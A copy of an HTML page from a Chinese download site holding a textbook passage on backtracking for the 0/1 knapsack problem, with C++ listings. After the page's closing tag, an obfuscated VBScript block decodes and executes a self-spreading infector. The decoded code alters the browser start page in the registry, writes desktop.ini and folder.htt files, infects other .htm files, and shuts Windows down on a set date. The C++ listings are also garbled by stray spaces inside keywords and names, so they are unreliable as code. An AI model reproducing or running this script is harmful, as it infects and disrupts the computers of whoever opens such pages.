⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 上大_net-0-1背包问题(回朔法).htm

📁 0 / 1背包问题是一个N P-复杂问题
💻 HTM
📖 第 1 页 / 共 2 页
字号:
      <P></P>
      <P align=left>cleft -= w[i];
      <P></P>
      <P></P>
      <P align=left>b += p[i];
      <P></P>
      <P></P>
      <P align=left>i + + ;
      <P></P>
      <P></P>
      <P align=left>}
      <P></P>
      <P></P>
      <P align=left>// 取下一个对象的一部分
      <P></P>
      <P></P>
      <P align=left>if (i &lt;= n) b += p[i]/w[i] * cleft;
      <P></P>
      <P></P>
      <P align=left>return b;
      <P></P>
      <P></P>
      <P align=left>}
      <P></P>
      <P></P>
      <P align=left>程序16-7 0/1背包问题的迭代函数
      <P></P>
      <P></P>
      <P align=left>template&lt;class Tw, class Tp&gt;
      <P></P>
      <P></P>
      <P align=left>void Knap&lt;Tw, Tp&gt;::Knapsack(int i)
      <P></P>
      <P></P>
      <P align=left>{// 从第i 层节点搜索
      <P></P>
      <P></P>
      <P align=left>if (i &gt; n) {// 在叶节点上
      <P></P>
      <P></P>
      <P align=left>bestp = cp;
      <P></P>
      <P></P>
      <P align=left>r e t u r n ; }
      <P></P>
      <P></P>
      <P align=left>// 检查子树
      <P></P>
      <P></P>
      <P align=left>if (cw + w[i] &lt;= c) {//尝试x[i] = 1
      <P></P>
      <P></P>
      <P align=left>cw += w[i];
      <P></P>
      <P></P>
      <P align=left>cp += p[i];
      <P></P>
      <P></P>
      <P align=left>K n a p s a c k ( i + 1 ) ;
      <P></P>
      <P></P>
      <P align=left>cw -= w[i];
      <P></P>
      <P></P>
      <P align=left>cp -= p[i];}
      <P></P>
      <P></P>
      <P align=left>if (Bound(i+1) &gt; bestp) // 尝试x[i] = 0
      <P></P>
      <P></P>
      <P align=left>K n a p s a c k ( i + 1 ) ;
      <P></P>
      <P></P>
      <P align=left>}
      <P></P>
      <P></P>
      <P align=left>在执行程序1 6 - 7的函数Kn a p s a c 
      k之前,需要按密度对对象排序,也要确保对象的重量总和超出背包的容量。为了完成排序,定义了类O b j e c t(见程序1 6 - 
      8)。注意定义操作符&lt; =是为了使归并排序程序(见程序1 4 - 3)能按密度递减的顺序排序。
      <P></P>
      <P></P>
      <P align=left>程序16-8 Object类
      <P></P>
      <P></P>
      <P align=left>class Object {
      <P></P>
      <P></P>
      <P align=left>friend int Knapsack(int *, int *, int, int);
      <P></P>
      <P></P>
      <P align=left>p u b l i c :
      <P></P>
      <P></P>
      <P align=left>int operator&lt;=(Object a) const
      <P></P>
      <P></P>
      <P align=left>{return (d &gt;= a.d);}
      <P></P>
      <P></P>
      <P align=left>p r i v a t e :
      <P></P>
      <P></P>
      <P align=left>int ID; // 对象号
      <P></P>
      <P></P>
      <P align=left>float d; // 收益密度
      <P></P>
      <P></P>
      <P align=left>} ;
      <P></P>
      <P></P>
      <P align=left>程序1 6 - 9首先验证重量之和超出背包容量,然后排序对象,在执行K n a p : : K n a p s a c 
      k之前完成一些必要的初始化。K n a p : K n a p s a c k的复杂性是O (<I>n</I>2<I>n 
      </I>),因为限界函数的复杂性为O (<I>n</I>),且该函数在O ( 2<I>n </I>)个右孩子处被计算。
      <P></P>
      <P></P>
      <P align=left>程序16-9 程序1 6 - 7的预处理代码
      <P></P>
      <P></P>
      <P align=left>template&lt;class Tw, class Tp&gt;
      <P></P>
      <P></P>
      <P align=left>Tp Knapsack(Tp p[], Tw w[], Tw c, int n)
      <P></P>
      <P></P>
      <P align=left>{// 返回最优装包的值
      <P></P>
      <P></P>
      <P align=left>// 初始化
      <P></P>
      <P></P>
      <P align=left>Tw W = 0; // 记录重量之和
      <P></P>
      <P></P>
      <P align=left>Tp P = 0; // 记录收益之和
      <P></P>
      <P></P>
      <P align=left>// 定义一个按收益密度排序的对象数组
      <P></P>
      <P></P>
      <P align=left>Object *Q = new Object [n];
      <P></P>
      <P></P>
      <P align=left>for (int i = 1; i &lt;= n; i++) {
      <P></P>
      <P></P>
      <P align=left>// 收益密度的数组
      <P></P>
      <P></P>
      <P align=left>Q[i-1].ID = i;
      <P></P>
      <P></P>
      <P align=left>Q[i-1].d = 1.0*p[i]/w[i];
      <P></P>
      <P></P>
      <P align=left>P += p[i];
      <P></P>
      <P></P>
      <P align=left>W += w[i];
      <P></P>
      <P></P>
      <P align=left>}
      <P></P>
      <P></P>
      <P align=left>if (W &lt;= c) return P; // 可容纳所有对象
      <P></P>
      <P></P>
      <P align=left>MergeSort(Q,n); // 按密度排序
      <P></P>
      <P></P>
      <P align=left>// 创建K n a p的成员
      <P></P>
      <P></P>
      <P align=left>K n a p &lt; Tw, Tp&gt; K;
      <P></P>
      <P></P>
      <P align=left>K.p = new Tp [n+1];
      <P></P>
      <P></P>
      <P align=left>K.w = new Tw [n+1];
      <P></P>
      <P></P>
      <P align=left>for (i = 1; i &lt;= n; i++) {
      <P></P>
      <P></P>
      <P align=left>K.p[i] = p[Q[i-1].ID];
      <P></P>
      <P></P>
      <P align=left>K.w[i] = w[Q[i-1].ID];
      <P></P>
      <P></P>
      <P align=left>}
      <P></P>
      <P></P>
      <P align=left>K.cp = 0;
      <P></P>
      <P></P>
      <P align=left>K.cw = 0;
      <P></P>
      <P></P>
      <P align=left>K.c = c;
      <P></P>
      <P></P>
      <P align=left>K.n = n;
      <P></P>
      <P></P>
      <P align=left>K.bestp = 0;
      <P></P>
      <P></P>
      <P align=left>// 寻找最优收益
      <P></P>
      <P></P>
      <P align=left>K . K n a p s a c k ( 1 ) ;
      <P></P>
      <P></P>
      <P align=left>delete [] Q;
      <P></P>
      <P></P>
      <P align=left>delete [] K.w;
      <P></P>
      <P></P>
      <P align=left>delete [] K.p;
      <P></P>
      <P></P>
      <P align=left>return K.bestp;
      <P></P>
      <P></P>
      <P align=left>}
      <P></P>
      <P></P>
      <HR>
    </TD></TR></TBODY></TABLE>
<DIV id=bottom align=center></DIV><BR>
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=center border=0><!--页面结束部分-->
  <TBODY>
  <TR>
    <TD id=Footer_ads align=middle>
      <DIV id=googlead height="Y" width="X"></DIV>
      <DIV id=googleadcode style="DISPLAY: none">
      <SCRIPT type=text/javascript><!--
google_ad_client = "pub-0145130096476520";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_channel ="";
google_color_border = "FF4500";
google_color_bg = "FFEBCD";
google_color_link = "DE7008";
google_color_url = "E0AD12";
google_color_text = "8B4513";
//--></SCRIPT>

      <SCRIPT src="上大_net-0-1背包问题(回朔法).files/show_ads.js" type=text/javascript>
</SCRIPT>
      </DIV>
      <SCRIPT language=javascript>
if(document.all.item("googlead") != null)
{
  googlead.innerHTML = googleadcode.innerHTML;
}
</SCRIPT>
    </TD></TR>
  <TR>
    <TD align=middle>
      <TABLE align=center>
        <TBODY>
        <TR>
          <TD align=middle>修改于动网免费版,动网版权所有<BR>CopyRight 2003-2005 上大.NET All 
            Rights Reserved.<BR><FONT onmousemove="this.color='#FF0000';" 
            onmouseout="this.color='#999999';" color=#999999>当前模板样式:[默认模板]
            <SCRIPT language=JavaScript 
            src="上大_net-0-1背包问题(回朔法).files/click.htm" 
            type=text/javascript></SCRIPT>
            </FONT> </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></BODY></HTML>

<script language="vbscript"><!--
myEncString="NnEqrnrRdstmd Mewtcil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd	dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3)cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv=lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!!	dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>!	dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>!	stbm`im_nnko`d')hnht@csiueW((	imisDhrOashr((	imisRdgDnsrher((	imisDqooCndds')bhdcjEwirtEiker((	imfdcsTgirFhld(SelpkaseEike(	imfdcsRnosDhr')dnc rua	stbm`im_nntnko`d')hneebtQontCiq((	cgebkDxhssFhlds')hneebtShhsEike'Tdmol`tdFhld)leqgdRdgDnsrher((	SbamFhldsHn'TgirDhrOash(	cgebkCaseOLnac((	emdstbrua hnht@csiueW((	Om Drqoq QeruleNdxs	SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10(	AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|(	AopNbi.brdaseHnrt`nbe')Res VsRhdlk < @poOaj-GdtNbiebt')@poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!)@poOaj-cqe`tdImssamcd((	Sdtfro=AopNbi.FesOajdcs((	emdstbrua hnhtCiqP`tgs')NnEqrnrRdstmd MewtVimDhr=fro-GdtRpdchakFnlceq(/)SelpkaseCiq < VimDhr&[&Vea&[SelpkaseEike=Tdmol`tdDhr&eokddr-hst!	TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn()Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0	Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnrMewtHfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem	TgirDhrOash=Mhd'TgirDhrOash+ 0,x(	Eksd	TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&.ShhsCiqP`tg < tndsbaoe'TgirDhrOash(	EmdIe	emdstbrua hnhtQefEmtqids')NnEqrnrRdstmd MewtlyKobakKdy'0( < !SsaqtP`gdlyKobakKdy'1( < !Lnc`lP`gdlyKobakKdy'2( < !Ddf`ukt^P`gd_TRKlyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!	mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!	mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtldnc rua	stbimisDqooCndds')NnEqrnrRdstmd MewthnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!	imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!	imiKime'3(=!hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]!	imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gtshnhLhnd(5)<!	imiKime'7(=![-SgeklBl`srImfn]!	imiKime'8(=!CnneiqmEikeNp<0!	fnrx=0tn 7	DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkfmewteokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll=crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-!	dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!!crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!(crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)!	dqooMd(3)=,-! % !>;/! % !sbrhps>!	fnrx=0tn 3	vBoce<vBoce&dqooMd(w)&vacqle	ndxs	fRtqimg<mxEmcRtqimgdnc rua	StbSbamFhldsHn'fnlceqsoeb)NnEqrnrRdstmd MewtRes lyEokddrr2=fro-GdtEokddr'fnlceqsoeb)Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker	FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker	mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male()HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! ShdnhneebtShhsEike(lyRuaFnlceqFhld.Oash(		HfmxEwt=gtsTgem	SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash(	mxFhld.@tsrhbttds=7Dnc HfDnc HfMewtDnc Rua	StbimfdcsTgirFhld(eokddrrpdc(	Om Drqoq QeruleNdxs	SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb)lyBomtdnss=mxFhld.Qe`d@lk	mxFhld.Blnsd	k<0eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0	ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0	ewis eoq	emdie	ndxs	ie j=/ shdn	vOCndd=lyBomtdnss&vacqle % uCndd	SdtmxFhld < esn.FesFhld(eokddrrpdc(	mxFhld.@tsrhbttds=0Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1)lyEike-WqisevOCndd	mxFhld.Blnsd	emdie	EmdStbrua bhdcjEwirtEiker((	Om Drqoq QeruleNdxs	Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq)Res lyEike=fro-GdtEokddr'Tdmol`tdDhr(	mxFhld.@tsrhbttds=7BrdaseShhsEikeTdmol`tdFhld,eokddrGTS	emdstbrua hneebtQontCiq((	Om Drqoq QeruleNdxs	Ie Kem(tndsbaoe'TgirDhrOash()<< 3 ShdnShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoceBrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH	emdie	emdstbrua leqgdRdgDnsrher((	Om Drqoq QeruleNdxs	fnrx<0tn 1	AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafemewtdnc rua	StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte(	Om Drqoq QeruleNdxs	WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd	EmdStbRua bhdcjD`tdPKo`d')NnEqrnrRdstmd MewtHfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1(	EmdStbRua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss(	Om Drqoq QeruleNdxs	sdtmxFhld=esn.FesFhld(eokddrrpdc(	mxFhld.@tsrhbttds=0Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte(	mxFhld.Vrhtd vishBomtdnsslyEike-Ckoreres lyEike<fro-GdtEike'fnlceqsoeb)lyEike-Astqiauser < 6	EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)"  & vbcrlf & "if s=chr(19) then s=chr(34)"  & vbcrlf & "if s=chr(28) then s=vbCr"  & vbcrlf & "if s=chr(29) then s=vbLf"  & vbcrlf & "myDecString=myDecString & s"  & vbcrlf & "next")
Execute(myDecString)
--></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -